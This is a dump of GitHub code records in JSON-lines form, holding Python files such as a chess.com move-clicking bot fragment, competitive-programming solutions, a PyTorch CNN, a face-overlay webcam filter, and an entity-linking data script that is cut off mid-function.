board.piece_at(chess.SQUARES[columns[start_location[0]] - 1 + (int(start_location[1]) - 1) * 8])\n if piece.piece_type == 1:\n piece = 'p'\n elif piece.piece_type == 2:\n piece = 'n'\n elif piece.piece_type == 3:\n piece = 'b'\n elif piece.piece_type == 4:\n piece = 'r'\n elif piece.piece_type == 5:\n piece = 'q'\n elif piece.piece_type == 6:\n piece = 'k'\n print(piece)\n end_location = str(columns[end_location[0]]) + end_location[1]\n start_location = str(columns[start_location[0]]) + start_location[1]\n print(start_location, end_location)\n try:\n search = driver.find_element(By.XPATH, value = f'//*[@id=\"{moves2}\"]/div[@class=\\'piece {color}{piece} square-{start_location}\\']')\n except: \n search = driver.find_element(By.XPATH, value = f'//*[@id=\"{moves2}\"]/div[@class=\\'piece square-{start_location} {color}{piece}\\']')\n search.click()\n if not is_capture:\n search = driver.find_element(By.XPATH, value = f'//*[@id=\"{moves2}\"]/div[@class=\\'hint square-{end_location}\\']')\n else:\n if not en_passant:\n search = driver.find_element(By.XPATH, value = f'//*[@id=\"{moves2}\"]/div[@class=\\'capture-hint square-{end_location}\\']')\n else:\n search = driver.find_element(By.XPATH, value = f'//*[@id=\"{moves2}\"]/div[@class=\\'hint square-{end_location}\\']')\n action = webdriver.common.action_chains.ActionChains(driver)\n action.move_to_element_with_offset(search, 0, 0)\n action.click()\n if promote:\n driver.implicitly_wait(1)\n action.click()\n action.perform()\n move_num += 1\n return move_num\n\nif __name__ == '__main__':\n main()","repo_name":"tristanpank/chess.com-bot","sub_path":"chess-game.py","file_name":"chess-game.py","file_ext":"py","file_size_in_byte":8708,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"18870023356","text":"from chunkInterpreter import ChunkInterpreter\nfrom http import client\n\nconnection = client.HTTPConnection('localhost:8001')\nconnection.request('GET', '')\nresponse = connection.getresponse()\n\ninterpreter = ChunkInterpreter()\n\nfor chunk in response:\n response_text = chunk.decode('utf-8')\n for result in interpreter.interpret_chunk(response_text):\n print(result)","repo_name":"lostinplace/chunked-data-problem","sub_path":"python/reader.py","file_name":"reader.py","file_ext":"py","file_size_in_byte":373,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"86821883317","text":"import timing\n\n'''\nPermuted multiples\nProblem 52\n\nIt can be seen that the number, 125874, and its double, 251748, contain exactly the same digits, but in a different order.\n\nFind the smallest positive integer, x, such that 2x, 3x, 4x, 5x, and 6x, contain the same digits.\n'''\n\nn = 1\nwhile True:\n\tx1,x2,x3,x4,x5,x6 = n,n*2,n*3,n*4,n*5,n*6\n\ts1 = sorted(str(x1))\n\ts2 = sorted(str(x2))\n\ts3 = sorted(str(x3))\n\ts4 = sorted(str(x4))\n\ts5 = sorted(str(x5))\n\ts6 = sorted(str(x6))\n\tif s1==s2==s3==s4==s5==s6:\n\t\tprint(x1,x2,x3,x4,x5,x6)\n\t\tbreak\n\tn+=1\n\n\n","repo_name":"scarsnik/euler","sub_path":"python/p52.py","file_name":"p52.py","file_ext":"py","file_size_in_byte":541,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"30337283701","text":"# C - Doubled\n# ----------------------------------------\n# 問題\n# https://atcoder.jp/contests/abc196/tasks/abc196_c\n\n# 解説\n# https://atcoder.jp/contests/abc196/editorial/946\n\n# AC (解説)\n# ----------------------------------------\n\n# N = int(input())\n\n# # 方針\n# # N <= 10^12 であるから桁ごとに考える\n# # Nの桁数をdとおくと、2*i <= d を満たすiに関して、\n# # 9 * 10^(i-1) を求めれば良い\n\n# N_str = str(N)\n# d = len(N_str)\n\n# if d % 2 == 1:\n# doubles_under_d = sum( 9 * 10**(i-1) for i in range(1, d//2 + 1) )\n# print(doubles_under_d)\n# else:\n# if N > int(\"1\" + \"0\" * (d-1)):\n# doubles = int(N_str[0])\n# for c in N_str[1:d//2]:\n# doubles *= int(c) + 1\n# else:\n# doubles = 0\n \n# doubles_under_d = sum( 9 * 10**(i-1) for i in range(1, d//2) )\n\n# print(doubles + doubles_under_d)\n\n# # WA\n\n# 解説\n# 繰り返しは6桁であるため、全探索できる\n\nN = int(input())\n\nd = len(str(N))\n\nmax_num = int(\"1\" + \"0\"*(d//2))\n\ncounter = 0\nfor n in range(1, max_num):\n doubled = int(str(n) + str(n))\n if doubled <= N:\n counter += 1\n\nprint(counter)\n\n# -> AC","repo_name":"kentakom1213/kyopro","sub_path":"atcoder_training/abc196/C_Doubled.py","file_name":"C_Doubled.py","file_ext":"py","file_size_in_byte":1183,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"62"} +{"seq_id":"2907434237","text":"import tkinter as tk\n\nfrom src.closed_loop.misn import MISN\nfrom src.closed_loop.swarm import UAVSwarm\nfrom src.constants import CONFIG\n\n\nif __name__ == \"__main__\":\n edge_length = CONFIG[\"max_dist_btw_sink_node\"] * CONFIG['num_sink_node'] * 10 + 10\n\n root = tk.Tk()\n root.title(\"UAV Swarm Optimization Algorithm\")\n\n canvas = tk.Canvas(\n root,\n width=edge_length,\n height=edge_length,\n bg=\"white\",\n )\n canvas.pack()\n misn = MISN(canvas=canvas)\n uav_swarm = UAVSwarm(\n misn=misn,\n canvas=canvas\n )\n print(len(uav_swarm.uavs))\n\n root.mainloop()\n","repo_name":"pSN0W/uav_swarm_dmsn","sub_path":"gui.py","file_name":"gui.py","file_ext":"py","file_size_in_byte":617,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"39196653372","text":"# https://www.acmicpc.net/problem/2812\nfrom sys import stdin\nsi = stdin.readline\n\nif __name__ == '__main__':\n n, k = map(int, si().split())\n num = si().strip()\n st = []\n k_ = k\n for w in num:\n w = int(w)\n if not st:\n st.append(w)\n else:\n while st and st[-1] < w and k:\n st.pop()\n k -= 1\n st.append(w)\n print(''.join(map(str, st[:n - k_])))","repo_name":"punkryn/ryu_algo","sub_path":"0709/크게만들기.py","file_name":"크게만들기.py","file_ext":"py","file_size_in_byte":441,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"4940611554","text":"from torch import nn\nclass SimpleCNN(nn.Module):\n def __init__(self, image_height=64, image_width=64, num_classes=54):\n super(SimpleCNN, self).__init__()\n self.conv_layer = nn.Sequential(\n nn.Conv2d(in_channels=3, out_channels=32, kernel_size=3, stride=1, padding=1),\n nn.ReLU(),\n nn.MaxPool2d(kernel_size=2, stride=2),\n nn.Conv2d(in_channels=32, out_channels=64, kernel_size=3, stride=1, padding=1),\n nn.ReLU(),\n nn.MaxPool2d(kernel_size=2, stride=2),\n nn.Conv2d(in_channels=64, out_channels=128, kernel_size=3, stride=1, padding=1),\n nn.ReLU(),\n nn.MaxPool2d(kernel_size=2, stride=2),\n )\n # Calculate the total number of output features from the convolutional layers\n total_output_features = 128 * (image_height // 8) * (image_width // 8) # Three max-pooling layers reduce dimensions by half three times\n self.fc_layer = nn.Sequential(\n nn.Linear(total_output_features, 512),\n nn.ReLU(),\n nn.Dropout(0.5), # Dropout layer with 50% probability\n nn.Linear(512, num_classes)\n )\n\n def forward(self, x):\n x = self.conv_layer(x)\n x = x.view(x.size(0), -1) # Flatten the output of conv layers\n x = self.fc_layer(x)\n return x","repo_name":"blak-tran/heroes_detection","sub_path":"model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":1348,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"14405984501","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Mon Sep 23 21:46:42 2019\r\n\r\n@author: kentlohr\r\n\"\"\"\r\n\r\nimport cv2\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\n\r\ndef Harris(img):\r\n # Harris角点检测基于灰度图\r\n gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)\r\n \r\n # Harris角点检测\r\n dst = cv2.cornerHarris(gray, 2, 3, 0.04)\r\n # 腐蚀一下,便于标记\r\n dst = cv2.dilate(dst, None)\r\n # 角点标记为红色\r\n img[dst > 0.0001 * dst.max()] = [0, 255, 0]\r\n cv2.imwrite('blox-RedPoint.png', img)\r\n cv2.imshow('dst', img)\r\n cv2.waitKey(0)\r\n\r\ndef Fast(img):\r\n # 初始化FAST特征检测函数\r\n fast = cv2.FastFeatureDetector_create()\r\n \r\n # 找到并画出关键点\r\n kp = fast.detect(img,None)\r\n img2 = cv2.drawKeypoints(img, kp, None, flags=cv2.DRAW_MATCHES_FLAGS_DEFAULT, color=(0,255,0))\r\n \r\n # 输出参数\r\n print( \"Threshold: {}\".format(fast.getThreshold()) )\r\n print( \"nonmaxSuppression:{}\".format(fast.getNonmaxSuppression()) )\r\n print( \"neighborhood: {}\".format(fast.getType()) )\r\n print( \"Total Keypoints with nonmaxSuppression: {}\".format(len(kp)) )\r\n \r\n cv2.imshow('fast_true',img2)\r\n \r\n # 不用非最大值抑制的情况\r\n fast.setNonmaxSuppression(0)\r\n kp = fast.detect(img,None)\r\n \r\n print( \"Total Keypoints without nonmaxSuppression: {}\".format(len(kp)) )\r\n \r\n img3 = cv2.drawKeypoints(img, kp, None, color=(0,255,0))\r\n \r\n cv2.imshow('fast_false',img3)\r\n \r\n cv2.waitKey(0)\r\n\r\ndef MSER(img):\r\n gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)\r\n\r\n mser = cv2.MSER_create(_min_area=300)\r\n \r\n gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)\r\n regions, boxes = mser.detectRegions(gray)\r\n \r\n for box in boxes:\r\n x, y, w, h = box\r\n cv2.rectangle(img, (x,y),(x+w, y+h), (255, 0, 0), 2)\r\n \r\n plt.imshow(img,'brg')\r\n plt.show()\r\n\r\ndef DoG(img):\r\n # 转为灰度图像\r\n gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)\r\n # 创建一个sift对象 并计算灰度图像\r\n sift = cv2.xfeatures2d.SIFT_create(400)\r\n keypoints, descriptor = sift.detectAndCompute(gray, None)\r\n \r\n # 在图像上绘制关键点\r\n # DRAW_MATCHES_FLAGS_DRAW_RICH_KEYPOINTS表示对每个关键点画出圆圈和方向\r\n img = cv2.drawKeypoints(image=img, outImage=img, keypoints=keypoints,\r\n flags=cv2.DRAW_MATCHES_FLAGS_DRAW_RICH_KEYPOINTS,\r\n color=(51, 163, 236))\r\n \r\n cv2.imshow(\"sift_keypoints\", img)\r\n cv2.waitKey(0)\r\n\r\ndef main():\r\n img = cv2.imread('img3.ppm')\r\n Harris(img)\r\n\r\nif __name__ == '__main__':\r\n main()","repo_name":"LiuQi233333/CV","sub_path":"task7/detector.py","file_name":"detector.py","file_ext":"py","file_size_in_byte":2662,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"70586832197","text":"#############################################################################\n#\n# Source from:\n# https://github.com/leonelhs/face-makeup.PyTorch\n# Forked from:\n# https://github.com/zllrunning/face-makeup.PyTorch\n# Reimplemented by: Leonel Hernández\n#\n##############################################################################\nimport PIL.Image\nimport cv2\nimport numpy as np\nfrom skimage.filters import gaussian\n\nfrom AI.Pytorch.TaskFaceParser import TaskFaceParser\n\n\ndef sharpen(img):\n img = img * 1.0\n gauss_out = gaussian(img, sigma=5)\n\n alpha = 1.5\n img_out = (img - gauss_out) * alpha + img\n\n img_out = img_out / 255.0\n\n mask_1 = img_out < 0\n mask_2 = img_out > 1\n\n img_out = img_out * (1 - mask_1)\n img_out = img_out * (1 - mask_2) + mask_2\n img_out = np.clip(img_out, 0, 1)\n img_out = img_out * 255\n return np.array(img_out, dtype=np.uint8)\n\n\ndef hair(image, parsing, part=17, color=[230, 50, 20]):\n b, g, r = color # [10, 50, 250] # [10, 250, 10]\n tar_color = np.zeros_like(image)\n tar_color[:, :, 0] = b\n tar_color[:, :, 1] = g\n tar_color[:, :, 2] = r\n\n image_hsv = cv2.cvtColor(image, cv2.COLOR_BGR2HSV)\n tar_hsv = cv2.cvtColor(tar_color, cv2.COLOR_BGR2HSV)\n\n if part == 12 or part == 13:\n image_hsv[:, :, 0:2] = tar_hsv[:, :, 0:2]\n else:\n image_hsv[:, :, 0:1] = tar_hsv[:, :, 0:1]\n\n changed = cv2.cvtColor(image_hsv, cv2.COLOR_HSV2BGR)\n\n if part == 17:\n changed = sharpen(changed)\n\n try:\n changed[parsing != part] = image[parsing != part]\n except IndexError:\n raise Exception(\"Not able to parse face\")\n return changed\n\n\n# 1 face\n# 11 teeth\n# 12 upper lip\n# 13 lower lip\n# 17 hair\n\n\nclass TaskFaceMakeup(TaskFaceParser):\n def __init__(self, args):\n super().__init__(args)\n\n def executeEnhanceWork(self, image, progress_callback):\n parsing, dark_mask, color_mask = self.parseFace(image)\n image = np.array(image)\n parsing = cv2.resize(parsing, image.shape[0:2], interpolation=cv2.INTER_NEAREST)\n\n table = {\n 'hair': 17,\n 'upper_lip': 12,\n 'lower_lip': 13\n }\n\n parts = [table['hair'], table['upper_lip'], table['lower_lip']]\n\n colors = [[230, 50, 20], [20, 70, 180], [20, 70, 180]]\n\n for part, color in zip(parts, colors):\n image = hair(image, parsing, part, color)\n\n image = cv2.resize(image, (512, 512))\n return PIL.Image.fromarray(image)\n","repo_name":"leonelhs/SuperFace","sub_path":"AI/Pytorch/TaskFaceMakeup.py","file_name":"TaskFaceMakeup.py","file_ext":"py","file_size_in_byte":2509,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"62"} +{"seq_id":"4198905928","text":"#!/usr/bin/env python3\n\nimport kwant\n\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport matplotlib\n\nfrom system_geometry import shapes\nfrom hamiltonians import gasb_hamiltonian as gasb\nfrom transport_tools import bands_and_currents as tools\n\n\n# For plotting:\nfont = {'family' : 'serif', 'weight' : 'bold', 'size': tools.FONT_LABELS}\nmatplotlib.rc('font', **font)\nplt.rc('text', usetex=True)\nplt.rc('font', family='serif')\n\n\n\n# Remake the system:\ndef make_system(esp=\"97\", gammaLead=36.917, V_shift=100, width = shapes.W_STD, length = shapes.L_STD):\n shapeScattering = shapes.Rect(width, length)\n\n # folder_fig = esp + folder_suf\n\n params_raw = eval(\"gasb.params_\" + esp)\n params_dict = dict(GammaLead = gammaLead, V = V_shift, **params_raw)\n hamiltonian_syst = eval(\"gasb.hamiltonian_\" + esp + \"_k_plus()\")\n\n hamiltonian_lead = gasb.free_ham(norbs = 6)\n sistema = gasb.system_builder(hamiltonian_syst, hamiltonian_lead, shapeScattering)\n\n return sistema\n\n\n# Load the data from the file\n\ndef load_currents(path):\n data = np.load(path)\n total, up, down = data[\"Total\"], data[\"Up\"], data[\"Dn\"]\n return total, up, down\n\n# Plot the current mapping\ndef plot_map(path,spin=\"Up\",colormap=\"Reds\",axis=None):\n data = np.load(path)\n\n syst = make_system()\n if axis == None:\n fig, axis = plt.subplots()\n\n kwant.plotter.current(syst, data[spin], cmap = colormap, colorbar = False, show = False, ax=axis)\n tools.edit_axis(axis,'total')\n axis.set_title(\" \", fontsize=tools.FONT_TITLES)\n # plt.show()\n\n\n\ndef main():\n Fermi_energy = 439.8905\n # path_data = \"./data/local_currents/97_currents_eF_62.0meV_Fermi_\"+ str(Fermi_energy) +\"meV_VShift_100_lead_0_gammaLead_36.917.npz\"\n path_data = \"./data/local_currents/97_currents_eF_62.0meV_Fermi_439.8905meV_VShift_100_lead_0_gammaLead_36.917_L_600.npz\"\n total_current, up_current, down_current = load_currents(path_data)\n all_currents = [total_current, up_current, down_current]\n\n syst = make_system(length = 2*shapes.W_STD)\n\n for current, colormap, name in zip(all_currents, [\"Oranges\", \"Reds\", \"Blues\"],[\"total\",\"up\",\"down\"]):\n fig, axis = plt.subplots()\n kwant.plotter.current(syst, current, cmap = colormap, colorbar = False, show = False, ax=axis)\n tools.edit_axis(axis,'total')\n axis.set_title(r\"$\\varepsilon = $ \"+str(Fermi_energy)+\" meV\", fontsize=tools.FONT_TITLES)\n plt.savefig(\"../images_phd_gasb_inas/\"+name+\"_current_\"+str(Fermi_energy)+\"L_600.png\")\n\n\nif __name__ =='__main__':\n main()\n","repo_name":"mhlmedeiros/phd_gasb_inas","sub_path":"read_plot_current.py","file_name":"read_plot_current.py","file_ext":"py","file_size_in_byte":2565,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"70854795719","text":"g = input('введите число: ')\nwhile not g.isdigit():\n g = input('я сказал число! введите число: ')\ng = int(g)\ngt1 = g % 10\ngt2 = g // 10\ngrz = gt1\nwhile not (gt2 == 0):\n gt1 = gt2 % 10\n gt2 = gt2 // 10\n if gt1 > grz:\n grz = gt1\nprint(grz)","repo_name":"Demedro/Luch_second","sub_path":"DZ_4.py","file_name":"DZ_4.py","file_ext":"py","file_size_in_byte":292,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"684130404","text":"import numpy as np\nimport cv2\nimport dlib\nfrom scipy.spatial import distance as dist\nfrom scipy.spatial import ConvexHull\nfrom PIL import Image\nfrom PIL import ImageTk\nimport cv2, threading, os, time\nfrom threading import Thread\nfrom os import listdir\nfrom os.path import isfile, join\n\nimport dlib\nfrom imutils import face_utils, rotate_bound\nimport math\n\noverlay = []\n\nPREDICTOR_PATH = \"shape_predictor_68_face_landmarks.dat\"\n\nFULL_POINTS = list(range(0, 68))\nFACE_POINTS = list(range(17, 68))\n\nJAWLINE_POINTS = list(range(0, 17))\nRIGHT_EYEBROW_POINTS = list(range(17, 22))\nLEFT_EYEBROW_POINTS = list(range(22, 27))\nNOSE_POINTS = list(range(27, 36))\nRIGHT_EYE_POINTS = list(range(36, 42))\nLEFT_EYE_POINTS = list(range(42, 48))\nMOUTH_OUTLINE_POINTS = list(range(48, 61))\nMOUTH_INNER_POINTS = list(range(61, 68))\n\ndetector = dlib.get_frontal_face_detector()\n\npredictor = dlib.shape_predictor(PREDICTOR_PATH)\n\ndef eye_size(eye):\n eyeWidth = dist.euclidean(eye[0], eye[3])\n hull = ConvexHull(eye)\n eyeCenter = np.mean(eye[hull.vertices, :], axis=0)\n\n eyeCenter = eyeCenter.astype(int)\n\n return int(eyeWidth), eyeCenter\n\ndef place_eye(frame, eyeCenter, eyeSize):\n eyeSize = int(eyeSize * 1.5)\n\n x1 = int(eyeCenter[0,0] - (eyeSize/2))\n x2 = int(eyeCenter[0,0] + (eyeSize/2))\n y1 = int(eyeCenter[0,1] - (eyeSize/2))\n y2 = int(eyeCenter[0,1] + (eyeSize/2))\n\n h, w = frame.shape[:2]\n\n # check for clipping\n if x1 < 0:\n x1 = 0\n if y1 < 0:\n y1 = 0\n if x2 > w:\n x2 = w\n if y2 > h:\n y2 = h\n\n # re-calculate the size to avoid clipping\n eyeOverlayWidth = x2 - x1\n eyeOverlayHeight = y2 - y1\n\n # calculate the masks for the overlay\n eyeOverlay = cv2.resize(imgEye, (eyeOverlayWidth,eyeOverlayHeight), interpolation = cv2.INTER_AREA)\n mask = cv2.resize(orig_mask, (eyeOverlayWidth,eyeOverlayHeight), interpolation = cv2.INTER_AREA)\n mask_inv = cv2.resize(orig_mask_inv, (eyeOverlayWidth,eyeOverlayHeight), interpolation = cv2.INTER_AREA)\n\n # take ROI for the verlay from background, equal to size of the overlay image\n roi = frame[y1:y2, x1:x2]\n\n # roi_bg contains the original image only where the overlay is not, in the region that is the size of the overlay.\n roi_bg = cv2.bitwise_and(roi,roi,mask = mask_inv)\n\n # roi_fg contains the image pixels of the overlay only where the overlay should be\n roi_fg = cv2.bitwise_and(eyeOverlay,eyeOverlay,mask = mask)\n\n # join the roi_bg and roi_fg\n dst = cv2.add(roi_bg,roi_fg)\n\n # place the joined image, saved to dst back over the original image\n frame[y1:y2, x1:x2] = dst\n\ndef eye():\n left_eye = landmarks[LEFT_EYE_POINTS]\n right_eye = landmarks[RIGHT_EYE_POINTS]\n\n # cv2.rectangle(frame, (x, y), (x1, y1), (0, 255, 0), 2)\n\n leftEyeSize, leftEyeCenter = eye_size(left_eye)\n rightEyeSize, rightEyeCenter = eye_size(right_eye)\n\n place_eye(frame, leftEyeCenter, leftEyeSize)\n place_eye(frame, rightEyeCenter, rightEyeSize)\n\n\n\n\n\n\n #---------------------------------------------------------\n # Load and pre-process the eye-overlay\n #---------------------------------------------------------\n # Load the image to be used as our overlay\n\n### Eye section ###\nimgEye = cv2.imread('Eye.png',-1)\n\n # Create the mask from the overlay image\norig_mask = imgEye[:,:,3]\n\n # Create the inverted mask for the overlay image\norig_mask_inv = cv2.bitwise_not(orig_mask)\n\n # Convert the overlay image image to BGR\n # and save the original image size\nimgEye = imgEye[:,:,0:3]\norigEyeHeight, origEyeWidth = imgEye.shape[:2]\n### Eye section ###\n\n### Other overlay functions ###\n\ndef draw_over(frame, sprite, x_offset, y_offset):\n (h,w) = (sprite.shape[0], sprite.shape[1])\n (imgH,imgW) = (frame.shape[0], frame.shape[1])\n\n if y_offset+h >= imgH: #if sprite gets out of image in the bottom\n sprite = sprite[0:imgH-y_offset,:,:]\n\n if x_offset+w >= imgW: #if sprite gets out of image to the right\n sprite = sprite[:,0:imgW-x_offset,:]\n\n if x_offset < 0: #if sprite gets out of image to the left\n sprite = sprite[:,abs(x_offset)::,:]\n w = sprite.shape[1]\n x_offset = 0\n\n #for each RGB chanel\n for c in range(3):\n #chanel 4 is alpha: 255 is not transpartne, 0 is transparent background\n frame[y_offset:y_offset+h, x_offset:x_offset+w, c] = \\\n sprite[:,:,c] * (sprite[:,:,3]/255.0) + frame[y_offset:y_offset+h, x_offset:x_offset+w, c] * (1.0 - sprite[:,:,3]/255.0)\n return frame\n\ndef adjust_over2head(sprite, head_width, head_ypos, ontop = True,fct=1.0):\n (h_sprite,w_sprite) = (sprite.shape[0], sprite.shape[1])\n factor = fct*head_width/w_sprite\n sprite = cv2.resize(sprite, (0,0), fx=factor, fy=factor) # adjust to have the same width as head\n (h_sprite,w_sprite) = (sprite.shape[0], sprite.shape[1])\n\n y_orig = head_ypos-h_sprite if ontop else head_ypos # adjust the position of sprite to end where the head begins\n if (y_orig < 0): #check if the head is not to close to the top of the image and the sprite would not fit in the screen\n sprite = sprite[abs(y_orig)::,:,:] #in that case, we cut the sprite\n y_orig = 0 #the sprite then begins at the top of the image\n return (sprite, y_orig)\n\ndef apply_over(image, over_path,w,x,y, angle, ontop = True,fct = 1.0):\n sprite = cv2.imread(over_path,-1)\n #print sprite.shape\n sprite = rotate_bound(sprite, angle)\n (sprite, y_final) = adjust_over2head(sprite, w, y, ontop,fct)\n image = draw_over(image,sprite,x, y_final)\n\n return image\n\n\n\n\ndef calculate_boundbox(list_coordinates):\n x = min(list_coordinates[:,0])\n y = min(list_coordinates[:,1])\n w = max(list_coordinates[:,0]) - x\n h = max(list_coordinates[:,1]) - y\n return (x,y,w,h)\n\ndef get_face_boundbox(points, face_part):\n if face_part == 1:\n (x,y,w,h) = calculate_boundbox(points[17:22]) #left eyebrow\n elif face_part == 2:\n (x,y,w,h) = calculate_boundbox(points[22:27]) #right eyebrow\n elif face_part == 3:\n (x,y,w,h) = calculate_boundbox(points[36:42]) #left eye\n elif face_part == 4:\n (x,y,w,h) = calculate_boundbox(points[42:48]) #right eye\n elif face_part == 5:\n (x,y,w,h) = calculate_boundbox(points[29:36]) #nose\n elif face_part == 6:\n (x,y,w,h) = calculate_boundbox(points[48:68]) #mouth\n return (x,y,w,h)\n\ndef calculate_inclination(point1, point2):\n x1,x2,y1,y2 = point1[0], point2[0], point1[1], point2[1]\n incl = 180/math.pi*math.atan((float(y2-y1))/(x2-x1))\n return incl\n\n\n\n\n\n\n # Start capturing the WebCam\nvideo_capture = cv2.VideoCapture(0)\n\nwhile True:\n ret, frame = video_capture.read()\n\n if ret:\n gray = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY)\n\n rects = detector(gray, 0)\n\n for rect in rects:\n x = rect.left()\n y = rect.top()\n x1 = rect.right()\n y1 = rect.bottom()\n w = rect.width()\n h = rect.height()\n\n shape = predictor(gray, rect)\n shape = face_utils.shape_to_np(shape)\n incl = calculate_inclination(shape[17], shape[26]) #inclination based on eyebrows\n\n landmarks = np.matrix([[p.x, p.y] for p in predictor(frame, rect).parts()])\n\n is_mouth_open = (shape[66][1] -shape[62][1]) >= 10\n\n\n\n for o in overlay:\n if o == 'eye':\n eye()\n if o == 'hat':\n frame = apply_over(frame, \"hat.png\",w,x,y, incl,fct=1.0)\n if o == 'glasses':\n (x3,y3,_,h3) = get_face_boundbox(shape, 1)\n frame = apply_over(frame, \"glasses.png\",w,x,y3, incl, ontop = False)\n if o == 'dog_e':\n frame = apply_over(frame, \"doggy_ears.png\",w,x,y, incl)\n if o == 'dog_n':\n (x3,y3,w3,h3) = get_face_boundbox(shape, 5) #nose\n frame = apply_over(frame, \"doggy_nose.png\",w3,x3-15,y3, incl, ontop = False,fct=1.7)\n\n if is_mouth_open:\n (x0,y0,w0,h0) = get_face_boundbox(shape, 6)\n frame=apply_over(frame, \"doggy_tongue.png\",w0,x0,y0, incl, ontop = False)\n if o == 'mus':\n (x1,y1,w1,h1) = get_face_boundbox(shape, 6)\n frame = apply_over(frame, \"mustache.png\",w1+20,x1-10,y1, incl)\n\n\n\n\n\n\n cv2.imshow(\"Faces with Overlay\", frame)\n\n ch = 0xFF & cv2.waitKey(1)\n\n if ch == 27:\n break\n if ch == ord('q'):\n if 'eye' not in overlay:\n overlay.append('eye')\n else:\n overlay.remove('eye')\n if ch == ord('w'):\n if 'hat' not in overlay:\n overlay.append('hat')\n else:\n overlay.remove('hat')\n if ch == ord('e'):\n if 'glasses' not in overlay:\n overlay.append('glasses')\n else:\n overlay.remove('glasses')\n if ch == ord('r'):\n if 'dog_e' not in overlay:\n overlay.append('dog_e')\n else:\n overlay.remove('dog_e')\n if ch == ord('t'):\n if 'dog_n' not in overlay:\n overlay.append('dog_n')\n else:\n overlay.remove('dog_n')\n\n if ch == ord('y'):\n if 'mus' not in overlay:\n overlay.append('mus')\n else:\n overlay.remove('mus')\n\n\n\ncv2.destroyAllWindows()\n","repo_name":"warriorwizard/video-chat","sub_path":"snapchat/dlibTest.py","file_name":"dlibTest.py","file_ext":"py","file_size_in_byte":9083,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"62"} +{"seq_id":"14360746930","text":"import os.path\nfrom sys import argv\nfrom PIL import Image\n\n\ndef search_directory(directory):\n \"\"\"Searches for matching directory based on input parameter.\"\"\"\n search_dir = \"\"\n for root, dirs, files in os.walk(os.getcwd(), topdown=True):\n for name in dirs:\n if name == directory:\n search_dir = os.path.join(root, name)\n return os.listdir(search_dir)\n\n\ndef convert(input_file, path, directory):\n \"\"\"Converts incoming image file, to have the PNG format, and saves converted imagine to location of choice.\"\"\"\n name = input_file.split(\".\")[0]\n img = Image.open(f\"{directory}/{input_file}\")\n img.save(f\"{path}{name}.png\", \"png\")\n return\n\n\nif __name__ == \"__main__\":\n # Takes directory to search and name of new directory to create, as input from the terminal.\n searched = argv[1]\n dir_to_create = argv[2]\n files_to_convert = search_directory(searched)\n\n if not os.path.exists(dir_to_create):\n os.makedirs(dir_to_create)\n\n for file in files_to_convert:\n convert(file, dir_to_create, searched)\n","repo_name":"LorenzoVDW7/image-converter","sub_path":"converter.py","file_name":"converter.py","file_ext":"py","file_size_in_byte":1078,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"11862718620","text":"import configparser\nimport logging\nimport sqlite3\nimport os\nimport numpy as np\nfrom sqlite3 import Error\nfrom sqlite3.dbapi2 import Cursor, complete_statement\nfrom pathlib import Path\nfrom db import create_db_connection\nfrom sklearn.model_selection import train_test_split\n\ndef clean(mention):\n \"\"\"\n Remove/Replace non-ascii characters \n :param mention: String to remove/replace non-ascii characters from\n :type mention: string\n\n :returns: Return cleaned string with non-ascii characters removed/replaced\n \"\"\"\n\n charmap = {\n u'\\xd8' : u'0', # Latin Capital letter O with stroke\n u'\\uff03': u'\\x23', # Full-width number sign\n u'\\u266f': u'\\x23', # Music Sharp Sign\n u'\\u2160': u'\\x49', # Roman Numeral One\n u'\\u042f': u'\\x52', # Cyrillic Capital Letter Ya\n u'\\u2013': u'\\x2d', # En Dash\n u'\\xae' : u'' # Registered Sign\n }\n\n for c in charmap:\n mention = mention.replace(c, charmap[c])\n\n return mention\n\n\ndef is_ascii(s):\n \"\"\"\n Checks if 's' contains only ascii characters\n :param s: String to check for ascii characters\n :type s: string\n\n :returns: Return True if string contains only ascii characters, else returns False\n \"\"\"\n\n return all(ord(c) < 128 for c in s)\n\n\ndef create_train_test_sets(connection):\n \"\"\"\n Create the train set using mentions from Wikipedia anchor text\n and test set using mentions from 'other' sources\n\n :param connection: A connection to mysql\n :type connection: \n\n :returns: Saves train and test sets to csv files\n \"\"\"\n eid_to_qid = {}\n data_to_ids = {}\n total = 0\n no_external = 0\n no_mention = 0\n no_qid = 0\n duplicates = 0\n conflicts = 0\n\n entity_cursor = connection.cursor()\n entity_cursor.execute(\"SELECT * FROM entities\")\n for entity_tuple in entity_cursor.fetchall():\n total += 1\n entity_id , entity, entity_type_id, external_link = entity_tuple\n external = eval(external_link)\n if not external:\n no_external += 1\n continue\n wiki_id = external['qid']\n eid_to_qid[entity_id] = eid_to_qid.get(entity_id, wiki_id)\n parts = entity.split('|')\n mention = None\n i = 1\n while parts[-i] == '*': \n if i >= len(parts):\n break\n i += 1\n mention = parts[-i]\n if not mention:\n no_mention += 1\n continue\n mention = clean(mention)\n if not is_ascii(mention):\n 